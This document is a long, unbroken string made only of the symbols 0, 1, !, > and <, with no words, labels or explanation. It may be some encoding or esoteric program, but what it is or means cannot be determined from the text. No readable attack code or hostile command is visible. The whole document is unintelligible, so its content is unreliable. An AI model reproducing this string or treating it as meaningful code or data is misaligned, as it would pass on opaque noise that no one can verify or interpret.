0>1!1!1>0>10110>1!1!1!1>0>1!1!1!1!1>0>1!1>0>10110>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1!1!10110>10110>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>01010111>010110>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!<>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1!1!1>0>10110>10110>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1>0>1!1!1!1!1>0><>1>0>1!1>0>1!1!1>0>10110>10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!10110>10110>1!1>0><>10110>1!1!1>0>1!1>0>10110>1!10110>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!10110>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0><>10110>1!1!1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!1!10110>1!1!1!1!1>0>1>0>10110>10110>10110>1!<>10110>1!1!1!10110>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1!1!10110>1!1!1!1!1>0>1!1!10110>10110>1!1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>10110>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!10110>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!<>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!10110>1!1!1!1>0>1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1!1!1>0>1>0>10110>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>10110>1!<>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0><>10110>1!10110>1!1>0>1>0>1!10110>1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!10110>1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!<>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1>0>10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!10110>1!1!<>10110>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1!1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1!10110>1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1>0><>10110>1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1!1!1>0>1>0>1!1!1!1>0>10110>1!1!1>0>1!1>01010111>01>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>10110>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!10110>1!<>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!10110>10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>10110>10110><>1!1!1!1!1>0>1!10110>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>10110>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!10110>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!10110>1!1!1!1!1>0>1!1>0>10110>1!1!1!1>0>10110>1!1>0>1!<>10110>1!10110>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1!1>01010111>01!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1!101101010111>01!1!1>0>1!1!1!<>1!1!<>1!<>1!1!1!1!1!10110>1!1!1!1!1!1!1!1!<>1!1>01010111>01>0>1!1>0>1!1!1!1!1>0>1!<>1!<>1!1>0>1>0>1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>01010111>01>01010111>01!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!<>1>0>1!1!1!1>0>1!1!<1010111>01>0>1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!1!1>0>1!1!<>1>0>1!1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>01010111>01!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0><>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>01010111>01!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!10110><>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1>01010111>01!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!10110>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1>0>1!1!10110>1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1!1!1!1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1!1!1!1>0>1!1>0>1>01010111>01!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!<>1>0>1!1!101101010111>01!1>01010111>01!1>01010111>01!1!<>1>01010111>01>0>1!1>0>1!1>01010111>10111>01>0>1!1!1!1!1!1!1!10110>1!1>01010111>01>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1!1!10110>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1!1!1!1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1!101101010111>01!1>01010111>01!1>01010111>01!1!<>1>01010111>01>0>1!1>0>1!1>01010111>10111>01>0>1!<>1!1!1>0><>1>0>1!1!1!1!1>0>1!1!1!1!1>0>1>0><>1!1!1!1!1>0>1>0>1!1!10110>1!1!1!1!1>0>1>0><>1!1!1>01010111>01!<>1!1!1!1!1!1!1!101101010111>01!1>01010111>01!1>01010111>01!1!<>1>01010111>01>0>1!1>0>1!1>01010111>10111>01>0>1!<>1!1>0>1!1!1>0>1>0><>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>01010111>01!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1!1!10110>1!10110>1!10110>1!10110>1!10110>1!10110>1!1>0>10110>1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1!1!1!1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!<>1!1!1!1!1!1!101101010111>01!1>01010111>01!1>01010111>01!1!<>1>01010111>01>0>1!1>0>1!1>01010111>10111>01>0>1!1!1!1!1!10110>1!1!1>0><>1>0>1!1!1>0>1!1!1>0>1!1>0><>1>0>1!1!1>0>1!1!1!<1010111>01!1!1!<>1>0>1!1!1!1!1>0><>10110>1!1!1>0>1>0>1!1!1>0>1>0><>1>01010111>01>0>1!1!1>0>1>0><>1>0>1!1!1>0>1!1>0>1!1>0>1>0><>1>0>1!1!10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1!<>1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0><>1>0>10110><>1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>01010111>01!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0><>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>01010111>01!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!10110><>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1>01010111>01!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!10110>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1!1!1!1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1>0>10110>1!1!1>0><>1!1>0>1>0>1!1!1!1>0>1!1>0><>1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>01010111>01!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0><>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>01010111>01!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!10110><>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1>01010111>01!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!10110>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1!1!1!1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1>0>10110>1!1!1>0><>1!1>0>1>0>1!1!1!1>0>1!1>0><>1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1!1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1!1>01010111>01>0>10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!1>0>1!1>0>1>0>1!1>0>1>0><>1!1!1!1!1>0>1>0>1!1!1>0>1>0><>1>0>1!1!1!1!1!1!101101010111>01!1>01010111>01!1>01010111>01!1!<>1>01010111>01>0>1!1>0>1!1>01010111>10111>01>0><>1!1>0>1!1!<>1>0>1!1!1!1!1>0>1>0><1010111>01!1>0>1!1!1>0>1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01>0>1!1!1>0>1!<>1>0>1!1!1!<>10110><><>1>0>1!1!<>1!<>1!1!1!1!1!10110>10110>10110>1!<>1!<>10110>1!1!1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0>1!1!1!1!1!1!10110>1!1!<>1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1>01010111>01!1>0>1!1>0><>1!10110>1!1!1>0>1!1>0>1!1!1>0><>1!1>01010111>01>0>1!1>0>1!1>0>1!1!1!1!10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1!<>1>0>1!1!1>0>1!1>0>10110>1!1!10110>1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!10110>1!1!1!1>0>1!1!1>0>1!1!<>1!1>01010111>0<>1>0>1!1>01010111>01!1!1!1!1!1!10110>1!1!1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!10110>1!<>1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!10110>1!1!1>0>1!1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1!1!1>0>1>0>1!1!10110>10110>10110>1!1>0>1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1!1>0>10110>10110>1!10110>1!1!1!1>0>1>0>1!1>0>1>0>1!10110>1!1>0>1!10110>1!1!1!1!1!10110>10110>1!1>0>1>01010111>01!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1!1!<>1!1>0>1>0>1!1>0>1!<>1>01010111>01>01010111>10111>01>0>1!1!1!1>0>1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01>0>10110>1!<>1>0>1!1!10110>10110>10110>1!1!<1010111>01!1!1!1!1>0>1>0>1!1!1>0>1>0>1!<>1!<>1!1!1!1!1!10110>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!<>1!<>1>0>1!<><>1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0><>1!1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!10110>1!1!1!1!10110>1!1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!10110>10110>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!10110>1!1>0>1>0>1!1!1!1>01010111>01>0>1!1!10110>1!1!1!1!1>0>1!1>0>1>0>1!1!10110>1!10110>1!1!1>0>1!1>0>1!<>1!1>0>1!10110>1!1!1!10110>10110>1!1>01010111>01>0>1!1>0>1!1!1!1!1>0>1>0>10110>10110>1!1>0>1!1!10110>1!1!1>0>1!1!1!1>0>1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1>01010111>01!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>10110>10110>1!1>0>10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1!10110>1!1!1>01010111>01!1!1>0>1>0>1!1>0>1!1!1!<>1>0>1!1!<>1>0>10110>1!1!1>0>1!1>0><>1!1!1>0>1!1!1>0>1!1!1!10110>1!<>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>10110>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!10110>1!1>0>1!1>0>1!1>0>10110>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>10110>1!10110>1!1>0>1!1!10110>1!1!10110>1!1!1!1!<>1!1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>01010111>01>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>10110>10110>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1!1!1!1>0>1!1>0>10110>1!1!10110>1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1>01010111>01!1>01010111>01>0>10110>1!1!1>0>1>0>1!1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1>01010111>010110>10110>1!10110>1!1!10110>1!1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>10110>1!1!1>0>10110>1!1!1!1!1>0>1!1>01010111>01!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1>01010111>01!1>0>10110>1!1!1>0>1!1>0>1>0>10110>1!10110>1!1!1!1!10110>1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!10110>10110>1!1!1!1!1!1!1!1!10110>1!1!1!1!1>0>1>01010111>010110>1!1>0>1!1>0>1!1!10110>1!1>0><>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!10110>1!1>0>1!1>0>10110>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>10110>1!1!1>0>1>0>1!1>0>1>0>1!10110>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1!1!10110>1!1>0>1!10110>1!1!10110>1!1!1!1>0>1>0>10110>1!1!1!1!1>0>1>0>10110>1!1>0>1>0>1!1!1!10110>1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1!1>0>10110>1!1>0>1!1!10110>10110>10110>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>10110>10110>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>10110>1!1!<>1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1>0>10110>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>10110>1!1!1>0>1>0>1!1!1>0>1>01010111>01>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>10110>1!1>0>1!1>0>1>0>1!1!10110>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!10110>1!1>0>1!1!1>0>10110>1!1!10110>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>10110>1!1!1!1>0>1>0><>101101010111>01>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!10110>1!1>0>10110>1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!10110>1!1>0>1>0>1!1>0>1>0>10110>1!10110>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1>0>10110>1!1!1!1!1!1!10110>1!1>0><>1!1!1!1!1>0>1>0>1!1>0>1>0>10110><>1>0>1!1!10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>10110>1!1!10110>1!1!10110>1!1!1>0>1>0>1!1!1!1!10110>1!1!1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1>0>10110>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!10110>1!1!1>0>1>0>10110>1!10110>1!1!1>0>1!1!1!1>0>1>01010111>01!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>10110>1!1!1>0>1!10110>1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>10110>1!1